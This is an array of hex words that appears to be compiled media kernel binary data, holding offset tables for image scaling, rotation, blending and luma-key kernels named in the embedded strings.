0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f355f, 0x315f746f, 0x00003038, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff0078, 0x00000040, 0x3fff006a,
0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090, 0xbfff006f, 0x000000f0, 0x0000ffff,
0x00000110, 0x3fff0001, 0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006, 0x000002f0, 0x3fff0002,
0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x00000400, 0x3fff0000, 0x00000490, 0xbfff0060,
0x00000490, 0xbfff0061, 0x000004a0, 0xbfff0068, 0x000004a0, 0xbfff0069, 0x000006f0, 0xbfff005c,
0x00000700, 0xbfff0064, 0x000007c0, 0xbfff005e, 0x000007d0, 0xbfff0066, 0x00000840, 0xbfff005a,
0x00000850, 0xbfff0062, 0x00000a30, 0x3fff006c, 0x00000a50, 0x3fff0077, 0x00000aa0, 0xbfff005d,
0x00000ab0, 0x000d0079, 0x00000ab0, 0x000d007a, 0x00000ab0, 0x000d007b, 0x00000ab0, 0x000d007c,
0x00000ab0, 0x000d007d, 0x00000ae0, 0xbfff0065, 0x00000af0, 0x3fff0075, 0x00000b00, 0x3fff006d,
0x00000b10, 0x3fff0076, 0x00000b10, 0xbfff005f, 0x00000b20, 0x3fff006e, 0x00000b20, 0xbfff0067,
0x00000b30, 0x3fff006f, 0x00000b40, 0x3fff0078, 0x00000b40, 0x3fff0070, 0x00000b50, 0x3fff0071,
0x00000b60, 0x3fff0073, 0x00000b70, 0x3fff0072, 0x00000b70, 0xbfff005b, 0x00000b80, 0x3fff0074,
0x00000b80, 0xbfff0063, 0x00000ba0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000050, 0x00000006, 0x00000001, 0x0000009c,
0x00000150, 0x00000007, 0x00000001, 0x000001ec, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001f0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f355f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b,
0x00000030, 0xbfff0077, 0x00000040, 0x3fff006a, 0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070,
0x00000090, 0xbfff006f, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002a0, 0x3fff0003,
0x000002b0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000320, 0x3fff0004, 0x00000330, 0x3fff0005,
0x00000410, 0x3fff0000, 0x000004a0, 0xbfff0060, 0x000004a0, 0xbfff0061, 0x000004b0, 0xbfff0068,
0x000004b0, 0xbfff0069, 0x00000700, 0xbfff005c, 0x00000710, 0xbfff0064, 0x000007d0, 0xbfff005e,
0x000007e0, 0xbfff0066, 0x00000860, 0xbfff005a, 0x00000870, 0xbfff0062, 0x00000980, 0x3fff0077,
0x00000a50, 0x3fff0075, 0x00000ab0, 0xbfff005d, 0x00000ac0, 0x000d0079, 0x00000ac0, 0x000d007a,
0x00000ac0, 0x000d007b, 0x00000ac0, 0x000d007c, 0x00000ac0, 0x000d007d, 0x00000af0, 0xbfff0065,
0x00000b00, 0x3fff0074, 0x00000b10, 0x3fff006c, 0x00000b20, 0x3fff0076, 0x00000b20, 0xbfff005f,
0x00000b30, 0x3fff006d, 0x00000b30, 0xbfff0067, 0x00000b40, 0x3fff006e, 0x00000b50, 0x3fff0078,
0x00000b50, 0x3fff006f, 0x00000b60, 0x3fff0070, 0x00000b70, 0x3fff0072, 0x00000b80, 0x3fff0071,
0x00000b80, 0xbfff005b, 0x00000b90, 0x3fff0073, 0x00000b90, 0xbfff0063, 0x00000bb0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000050, 0x00000006, 0x00000001, 0x0000009c, 0x00000150, 0x00000007, 0x00000001, 0x000001ec,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001f0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f355f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff0077, 0x00000040, 0x3fff006a,
0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090, 0xbfff006f, 0x000000f0, 0x0000ffff,
0x00000110, 0x3fff0001, 0x00000260, 0x3fff0003, 0x00000270, 0x3fff0006, 0x000002d0, 0x3fff0002,
0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003f0, 0x3fff0000, 0x00000480, 0xbfff0060,
0x00000480, 0xbfff0061, 0x00000490, 0xbfff0068, 0x00000490, 0xbfff0069, 0x000006e0, 0xbfff005c,
0x000006f0, 0xbfff0064, 0x000007b0, 0xbfff005e, 0x000007c0, 0xbfff0066, 0x00000840, 0xbfff005a,
0x00000850, 0xbfff0062, 0x00000960, 0x3fff0076, 0x00000960, 0x3fff0077, 0x00000a30, 0x3fff006c,
0x00000a90, 0xbfff005d, 0x00000aa0, 0x000d0079, 0x00000aa0, 0x000d007a, 0x00000aa0, 0x000d007b,
0x00000aa0, 0x000d007c, 0x00000aa0, 0x000d007d, 0x00000ab0, 0xbfff0065, 0x00000af0, 0x3fff006e,
0x00000b00, 0x3fff006d, 0x00000b00, 0xbfff005f, 0x00000b10, 0x3fff006f, 0x00000b10, 0xbfff0067,
0x00000b20, 0x3fff0070, 0x00000b30, 0x3fff0078, 0x00000b30, 0x3fff0071, 0x00000b40, 0x3fff0072,
0x00000b50, 0x3fff0074, 0x00000b60, 0x3fff0073, 0x00000b60, 0xbfff005b, 0x00000b70, 0x3fff0075,
0x00000b70, 0xbfff0063, 0x00000b90, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001e, 0x00000005, 0x00000001, 0x0000004c, 0x00000050, 0x00000006, 0x00000001, 0x0000009c,
0x00000150, 0x00000007, 0x00000001, 0x000001ec, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x63534469, 0x31656c61, 0x75425f36, 0x00305f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001,
0x00000170, 0x3fff0006, 0x00000180, 0x3fff0005, 0x000001e0, 0x3fff0000, 0x000002b0, 0xbfff0010,
0x000002b0, 0xbfff0011, 0x000002c0, 0xbfff0018, 0x000002c0, 0xbfff0019, 0x00000510, 0xbfff000c,
0x00000520, 0xbfff0014, 0x000005e0, 0xbfff000e, 0x000005f0, 0xbfff0016, 0x00000670, 0xbfff000a,
0x00000680, 0xbfff0012, 0x00000770, 0x3fff0003, 0x00000790, 0x3fff0004, 0x00000880, 0x000d0076,
0x00000880, 0x000d0077, 0x00000880, 0x000d0078, 0x00000880, 0x000d0079, 0x00000880, 0x000d007a,
0x000008c0, 0x3fff0070, 0x000008d0, 0xbfff000d, 0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff0015,
0x000008f0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000910, 0x3fff0075, 0x00000920, 0x3fff007c,
0x00000930, 0x3fff007b, 0x00000930, 0xbfff000f, 0x00000940, 0x3fff007d, 0x00000940, 0xbfff0017,
0x00000950, 0x3fff007e, 0x00000960, 0x3fff0071, 0x00000960, 0x3fff007f, 0x00000970, 0x3fff006c,
0x00000980, 0x3fff006e, 0x00000990, 0x3fff006d, 0x00000990, 0xbfff000b, 0x000009a0, 0x3fff006f,
0x000009a0, 0xbfff0013, 0x000009c0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000018, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000160, 0x00000007, 0x00000001, 0x000001dc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x63534469, 0x31656c61, 0x75425f36, 0x00315f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001,
0x00000170, 0x3fff0006, 0x00000180, 0x3fff0005, 0x000001e0, 0x3fff0000, 0x000002b0, 0xbfff0020,
0x000002b0, 0xbfff0021, 0x000002c0, 0xbfff0028, 0x000002c0, 0xbfff0029, 0x00000510, 0xbfff001c,
0x00000520, 0xbfff0024, 0x000005e0, 0xbfff001e, 0x000005f0, 0xbfff0026, 0x00000670, 0xbfff001a,
0x00000680, 0xbfff0022, 0x00000770, 0x3fff0003, 0x00000790, 0x3fff0004, 0x00000880, 0x000d0076,
0x00000880, 0x000d0077, 0x00000880, 0x000d0078, 0x00000880, 0x000d0079, 0x00000880, 0x000d007a,
0x000008c0, 0x3fff0070, 0x000008d0, 0xbfff001d, 0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff0025,
0x000008f0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000910, 0x3fff0075, 0x00000920, 0x3fff007c,
0x00000930, 0x3fff007b, 0x00000930, 0xbfff001f, 0x00000940, 0x3fff007d, 0x00000940, 0xbfff0027,
0x00000950, 0x3fff007e, 0x00000960, 0x3fff0071, 0x00000960, 0x3fff007f, 0x00000970, 0x3fff006c,
0x00000980, 0x3fff006e, 0x00000990, 0x3fff006d, 0x00000990, 0xbfff001b, 0x000009a0, 0x3fff006f,
0x000009a0, 0xbfff0023, 0x000009c0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000018, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000160, 0x00000007, 0x00000001, 0x000001dc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x63534469, 0x31656c61, 0x75425f36, 0x00325f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001,
0x00000170, 0x3fff0006, 0x00000180, 0x3fff0005, 0x000001e0, 0x3fff0000, 0x000002b0, 0xbfff0030,
0x000002b0, 0xbfff0031, 0x000002c0, 0xbfff0038, 0x000002c0, 0xbfff0039, 0x00000510, 0xbfff002c,
0x00000520, 0xbfff0034, 0x000005e0, 0xbfff002e, 0x000005f0, 0xbfff0036, 0x00000670, 0xbfff002a,
0x00000680, 0xbfff0032, 0x00000770, 0x3fff0003, 0x00000790, 0x3fff0004, 0x00000880, 0x000d0076,
0x00000880, 0x000d0077, 0x00000880, 0x000d0078, 0x00000880, 0x000d0079, 0x00000880, 0x000d007a,
0x000008c0, 0x3fff0070, 0x000008d0, 0xbfff002d, 0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff0035,
0x000008f0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000910, 0x3fff0075, 0x00000920, 0x3fff007c,
0x00000930, 0x3fff007b, 0x00000930, 0xbfff002f, 0x00000940, 0x3fff007d, 0x00000940, 0xbfff0037,
0x00000950, 0x3fff007e, 0x00000960, 0x3fff0071, 0x00000960, 0x3fff007f, 0x00000970, 0x3fff006c,
0x00000980, 0x3fff006e, 0x00000990, 0x3fff006d, 0x00000990, 0xbfff002b, 0x000009a0, 0x3fff006f,
0x000009a0, 0xbfff0033, 0x000009c0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000018, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000160, 0x00000007, 0x00000001, 0x000001dc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x63534469, 0x31656c61, 0x75425f36, 0x00335f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001,
0x00000170, 0x3fff0006, 0x00000180, 0x3fff0005, 0x000001e0, 0x3fff0000, 0x000002b0, 0xbfff0040,
0x000002b0, 0xbfff0041, 0x000002c0, 0xbfff0048, 0x000002c0, 0xbfff0049, 0x00000510, 0xbfff003c,
0x00000520, 0xbfff0044, 0x000005e0, 0xbfff003e, 0x000005f0, 0xbfff0046, 0x00000670, 0xbfff003a,
0x00000680, 0xbfff0042, 0x00000770, 0x3fff0003, 0x00000790, 0x3fff0004, 0x00000880, 0x000d0076,
0x00000880, 0x000d0077, 0x00000880, 0x000d0078, 0x00000880, 0x000d0079, 0x00000880, 0x000d007a,
0x000008c0, 0x3fff0070, 0x000008d0, 0xbfff003d, 0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff0045,
0x000008f0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000910, 0x3fff0075, 0x00000920, 0x3fff007c,
0x00000930, 0x3fff007b, 0x00000930, 0xbfff003f, 0x00000940, 0x3fff007d, 0x00000940, 0xbfff0047,
0x00000950, 0x3fff007e, 0x00000960, 0x3fff0071, 0x00000960, 0x3fff007f, 0x00000970, 0x3fff006c,
0x00000980, 0x3fff006e, 0x00000990, 0x3fff006d, 0x00000990, 0xbfff003b, 0x000009a0, 0x3fff006f,
0x000009a0, 0xbfff0043, 0x000009c0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000018, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000160, 0x00000007, 0x00000001, 0x000001dc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000007b4, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x72615000, 0x656c4274, 0x345f646e, 0x315f3434, 0x00000036, 0x00000000, 0x00000000, 0x00000000,
0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006f, 0x00000040,
0xbfff006e, 0x00000050, 0xbfff0070, 0x00000060, 0xbfff0073, 0x00000070, 0xbfff0071, 0x000000a0,
0xbfff0072, 0x000000b0, 0x3fff000a, 0x000000b0, 0x3fff000b, 0x000000b0, 0x3fff000c, 0x000000b0,
0x3fff000d, 0x000000b0, 0x3fff000e, 0x000000b0, 0x3fff000f, 0x000000b0, 0x3fff0010, 0x000000b0,
0x3fff0011, 0x000000b0, 0x3fff0012, 0x000000b0, 0x3fff0013, 0x000000b0, 0x3fff0014, 0x000000b0,
0x3fff0015, 0x000000b0, 0x3fff0016, 0x000000b0, 0x3fff0017, 0x000000b0, 0x3fff0018, 0x000000b0,
0x3fff0019, 0x000000b0, 0x3fff001a, 0x000000b0, 0x3fff001b, 0x000000b0, 0x3fff001c, 0x000000b0,
0x3fff001d, 0x000000b0, 0x3fff001e, 0x000000b0, 0x3fff001f, 0x000000b0, 0x3fff0020, 0x000000b0,
0x3fff0021, 0x000000b0, 0x3fff0022, 0x000000b0, 0x3fff0023, 0x000000b0, 0x3fff0024, 0x000000b0,
0x3fff0025, 0x000000b0, 0x3fff0026, 0x000000b0, 0x3fff0027, 0x000000b0, 0x3fff0028, 0x000000b0,
0x3fff0029, 0x000000b0, 0x3fff002a, 0x000000b0, 0x3fff002b, 0x000000b0, 0x3fff002c, 0x000000b0,
0x3fff002d, 0x000000b0, 0x3fff002e, 0x000000b0, 0x3fff002f, 0x000000b0, 0x3fff0030, 0x000000b0,
0x3fff0031, 0x000000b0, 0x3fff0032, 0x000000b0, 0x3fff0033, 0x000000b0, 0x3fff0034, 0x000000b0,
0x3fff0035, 0x000000b0, 0x3fff0036, 0x000000b0, 0x3fff0037, 0x000000b0, 0x3fff0038, 0x000000b0,
0x3fff0039, 0x000000b0, 0x3fff003a, 0x000000b0, 0x3fff003b, 0x000000b0, 0x3fff003c, 0x000000b0,
0x3fff003d, 0x000000b0, 0x3fff003e, 0x000000b0, 0x3fff003f, 0x000000b0, 0x3fff0040, 0x000000b0,
0x3fff0041, 0x000000b0, 0x3fff0042, 0x000000b0, 0x3fff0043, 0x000000b0, 0x3fff0044, 0x000000b0,
0x3fff0045, 0x000000b0, 0x3fff0046, 0x000000b0, 0x3fff0047, 0x000000b0, 0x3fff0048, 0x000000b0,
0x3fff0049, 0x000000b0, 0x3fff004a, 0x000000b0, 0x3fff004b, 0x000000b0, 0x3fff004c, 0x000000b0,
0x3fff004d, 0x000000b0, 0x3fff004e, 0x000000b0, 0x3fff004f, 0x000000b0, 0x3fff0050, 0x000000b0,
0x3fff0051, 0x000000b0, 0x3fff0052, 0x000000b0, 0x3fff0053, 0x000000b0, 0x3fff0054, 0x000000b0,
0x3fff0055, 0x000000b0, 0x3fff0056, 0x000000b0, 0x3fff0057, 0x000000b0, 0x3fff0058, 0x000000b0,
0x3fff0059, 0x000000b0, 0x3fff005a, 0x000000b0, 0x3fff005b, 0x000000b0, 0x3fff005c, 0x000000b0,
0x3fff005d, 0x000000b0, 0x3fff005e, 0x000000b0, 0x3fff005f, 0x000000b0, 0x3fff0060, 0x000000b0,
0x3fff0061, 0x000000b0, 0x3fff0062, 0x000000b0, 0x3fff0063, 0x000000b0, 0x3fff0064, 0x000000b0,
0x3fff0065, 0x000000b0, 0x3fff0066, 0x000000b0, 0x3fff0067, 0x000000b0, 0x3fff0068, 0x000000b0,
0x3fff0069, 0x000000b0, 0xbfff0074, 0x000000c0, 0xbfff0075, 0x000000c0, 0xbfff0076, 0x000000e0,
0xbfff0077, 0x000000e0, 0xbfff0078, 0x000000f0, 0xbfff0079, 0x00000120, 0x3fff006a, 0x00000140,
0xbfff007c, 0x00000150, 0xbfff007a, 0x00000160, 0xbfff007d, 0x00000170, 0xbfff007b, 0x00000300,
0xbfff007e, 0x00000920, 0x3fff007f, 0x00000020, 0x00010000, 0x000006f0, 0x3fff006b, 0x000007b0,
0x3fff0075, 0x000007b0, 0x3fff0076, 0x000007c0, 0x3fff006a, 0x000007d0, 0x3fff0077, 0x000007d0,
0x3fff0078, 0x00000800, 0x3fff007b, 0x00000810, 0x3fff0079, 0x00000820, 0x3fff007c, 0x00000840,
0x3fff007a, 0x00000860, 0x3fff007d, 0x00000860, 0x3fff007e, 0x00000870, 0x3fff006c, 0x00000870,
0x3fff006d, 0x000008c0, 0x3fff006f, 0x000008e0, 0x3fff006e, 0x000008f0, 0x3fff0074, 0x00000900,
0x3fff0070, 0x00000900, 0x3fff0071, 0x00000910, 0x3fff0072, 0x00000910, 0x3fff0073, 0x00000910,
0xbfff000a, 0x00000910, 0xbfff000b, 0x00000910, 0xbfff000c, 0x00000910, 0xbfff000d, 0x00000910,
0xbfff000e, 0x00000910, 0xbfff000f, 0x00000910, 0xbfff0010, 0x00000910, 0xbfff0011, 0x00000910,
0xbfff0012, 0x00000910, 0xbfff0013, 0x00000910, 0xbfff0014, 0x00000910, 0xbfff0015, 0x00000910,
0xbfff0016, 0x00000910, 0xbfff0017, 0x00000910, 0xbfff0018, 0x00000910, 0xbfff0019, 0x00000910,
0xbfff001a, 0x00000910, 0xbfff001b, 0x00000910, 0xbfff001c, 0x00000910, 0xbfff001d, 0x00000910,
0xbfff001e, 0x00000910, 0xbfff001f, 0x00000910, 0xbfff0020, 0x00000910, 0xbfff0021, 0x00000910,
0xbfff0022, 0x00000910, 0xbfff0023, 0x00000910, 0xbfff0024, 0x00000910, 0xbfff0025, 0x00000910,
0xbfff0026, 0x00000910, 0xbfff0027, 0x00000910, 0xbfff0028, 0x00000910, 0xbfff0029, 0x00000910,
0xbfff002a, 0x00000910, 0xbfff002b, 0x00000910, 0xbfff002c, 0x00000910, 0xbfff002d, 0x00000910,
0xbfff002e, 0x00000910, 0xbfff002f, 0x00000910, 0xbfff0030, 0x00000910, 0xbfff0031, 0x00000910,
0xbfff0032, 0x00000910, 0xbfff0033, 0x00000910, 0xbfff0034, 0x00000910, 0xbfff0035, 0x00000910,
0xbfff0036, 0x00000910, 0xbfff0037, 0x00000910, 0xbfff0038, 0x00000910, 0xbfff0039, 0x00000910,
0xbfff003a, 0x00000910, 0xbfff003b, 0x00000910, 0xbfff003c, 0x00000910, 0xbfff003d, 0x00000910,
0xbfff003e, 0x00000910, 0xbfff003f, 0x00000910, 0xbfff0040, 0x00000910, 0xbfff0041, 0x00000910,
0xbfff0042, 0x00000910, 0xbfff0043, 0x00000910, 0xbfff0044, 0x00000910, 0xbfff0045, 0x00000910,
0xbfff0046, 0x00000910, 0xbfff0047, 0x00000910, 0xbfff0048, 0x00000910, 0xbfff0049, 0x00000910,
0xbfff004a, 0x00000910, 0xbfff004b, 0x00000910, 0xbfff004c, 0x00000910, 0xbfff004d, 0x00000910,
0xbfff004e, 0x00000910, 0xbfff004f, 0x00000910, 0xbfff0050, 0x00000910, 0xbfff0051, 0x00000910,
0xbfff0052, 0x00000910, 0xbfff0053, 0x00000910, 0xbfff0054, 0x00000910, 0xbfff0055, 0x00000910,
0xbfff0056, 0x00000910, 0xbfff0057, 0x00000910, 0xbfff0058, 0x00000910, 0xbfff0059, 0x00000910,
0xbfff005a, 0x00000910, 0xbfff005b, 0x00000910, 0xbfff005c, 0x00000910, 0xbfff005d, 0x00000910,
0xbfff005e, 0x00000910, 0xbfff005f, 0x00000910, 0xbfff0060, 0x00000910, 0xbfff0061, 0x00000910,
0xbfff0062, 0x00000910, 0xbfff0063, 0x00000910, 0xbfff0064, 0x00000910, 0xbfff0065, 0x00000910,
0xbfff0066, 0x00000910, 0xbfff0067, 0x00000910, 0xbfff0068, 0x00000910, 0xbfff0069, 0x00000920,
0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000012, 0x00000005, 0x00000001,
0x00000040, 0x000003b8, 0x00000006, 0x00000001, 0x000003f8, 0x000003b8, 0x00000007, 0x00000001,
0x000007b0, 0x00000002, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000080, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x65725000, 0x65726170, 0x6d754c5f, 0x79654b61, 0x6d61535f, 0x55656c70, 0x6d726f6e, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001d, 0x00000005, 0x00000001, 0x0000004c, 0x00000018, 0x00000006, 0x00000001, 0x00000064,
0x00000018, 0x00000007, 0x00000001, 0x0000007c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000003c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x4752415f, 0x00000042, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000030, 0x3fff0002, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff006d,
0x00000050, 0xbfff004a, 0x00000080, 0x3fff000c, 0x00000090, 0x3fff0010, 0x000000c0, 0x3fff000d,
0x000000d0, 0x3fff0011, 0x00000130, 0x0000ffff, 0x000002c0, 0x3fff000a, 0x000002d0, 0x3fff000c,
0x000002e0, 0x3fff000e, 0x000002f0, 0x3fff0010, 0x00000320, 0x3fff000f, 0x00000330, 0x3fff0011,
0x00000340, 0x3fff000b, 0x00000350, 0x3fff000d, 0x00000380, 0x3fff006e, 0x000005a0, 0x3fff001a,
0x000005b0, 0x3fff001c, 0x000005c0, 0x3fff001e, 0x000005d0, 0x3fff0020, 0x00000600, 0x3fff001f,
0x00000610, 0x3fff0021, 0x00000620, 0x3fff001b, 0x00000630, 0x3fff001d, 0x00000650, 0x3fff0070,
0x00000650, 0x3fff006f, 0x000008d0, 0x3fff0012, 0x000008e0, 0x3fff0014, 0x000008f0, 0x3fff0016,
0x00000900, 0x3fff0018, 0x00000930, 0x3fff0017, 0x00000940, 0x3fff0019, 0x00000950, 0x3fff0013,
0x00000960, 0x3fff0015, 0x00000990, 0x3fff0072, 0x00000990, 0x3fff0071, 0x00000bb0, 0x3fff0022,
0x00000bc0, 0x3fff0024, 0x00000bd0, 0x3fff0026, 0x00000be0, 0x3fff0028, 0x00000c10, 0x3fff0027,
0x00000c20, 0x3fff0029, 0x00000c30, 0x3fff0023, 0x00000c40, 0x3fff0025, 0x00000c60, 0x3fff0074,
0x00000c60, 0x3fff0073, 0x00000ef0, 0x3fff002a, 0x00000f00, 0x3fff002c, 0x00000f10, 0x3fff002e,
0x00000f20, 0x3fff0030, 0x00000f50, 0x3fff002f, 0x00000f60, 0x3fff0031, 0x00000f70, 0x3fff002b,
0x00000f80, 0x3fff002d, 0x00000fb0, 0x3fff0076, 0x00000fb0, 0x3fff0075, 0x000011d0, 0x3fff003a,
0x000011e0, 0x3fff003c, 0x000011f0, 0x3fff003e, 0x00001200, 0x3fff0040, 0x00001230, 0x3fff003f,
0x00001240, 0x3fff0041, 0x00001250, 0x3fff003b, 0x00001260, 0x3fff003d, 0x00001280, 0x3fff0078,
0x00001280, 0x3fff0077, 0x00001500, 0x3fff0032, 0x00001510, 0x3fff0034, 0x00001520, 0x3fff0036,
0x00001530, 0x3fff0038, 0x00001560, 0x3fff0037, 0x00001570, 0x3fff0039, 0x00001580, 0x3fff0033,
0x00001590, 0x3fff0035, 0x000015c0, 0x3fff007a, 0x000015c0, 0x3fff0079, 0x000017e0, 0x3fff0042,
0x000017f0, 0x3fff0044, 0x00001800, 0x3fff0046, 0x00001810, 0x3fff0048, 0x00001840, 0x3fff0047,
0x00001850, 0x3fff0049, 0x00001860, 0x3fff0043, 0x00001870, 0x3fff006c, 0x00001870, 0x3fff0045,
0x00001890, 0x3fff007c, 0x00001890, 0x3fff007b, 0x000018b0, 0x3fff006d, 0x000018c0, 0xbfff006b,
0x000018d0, 0x0005004a, 0x000018d0, 0x0005004b, 0x000018d0, 0x0005004c, 0x000018d0, 0x0005004d,
0x000018d0, 0x0005004e, 0x000018d0, 0x0005004f, 0x000018d0, 0x00050050, 0x000018d0, 0x00050051,
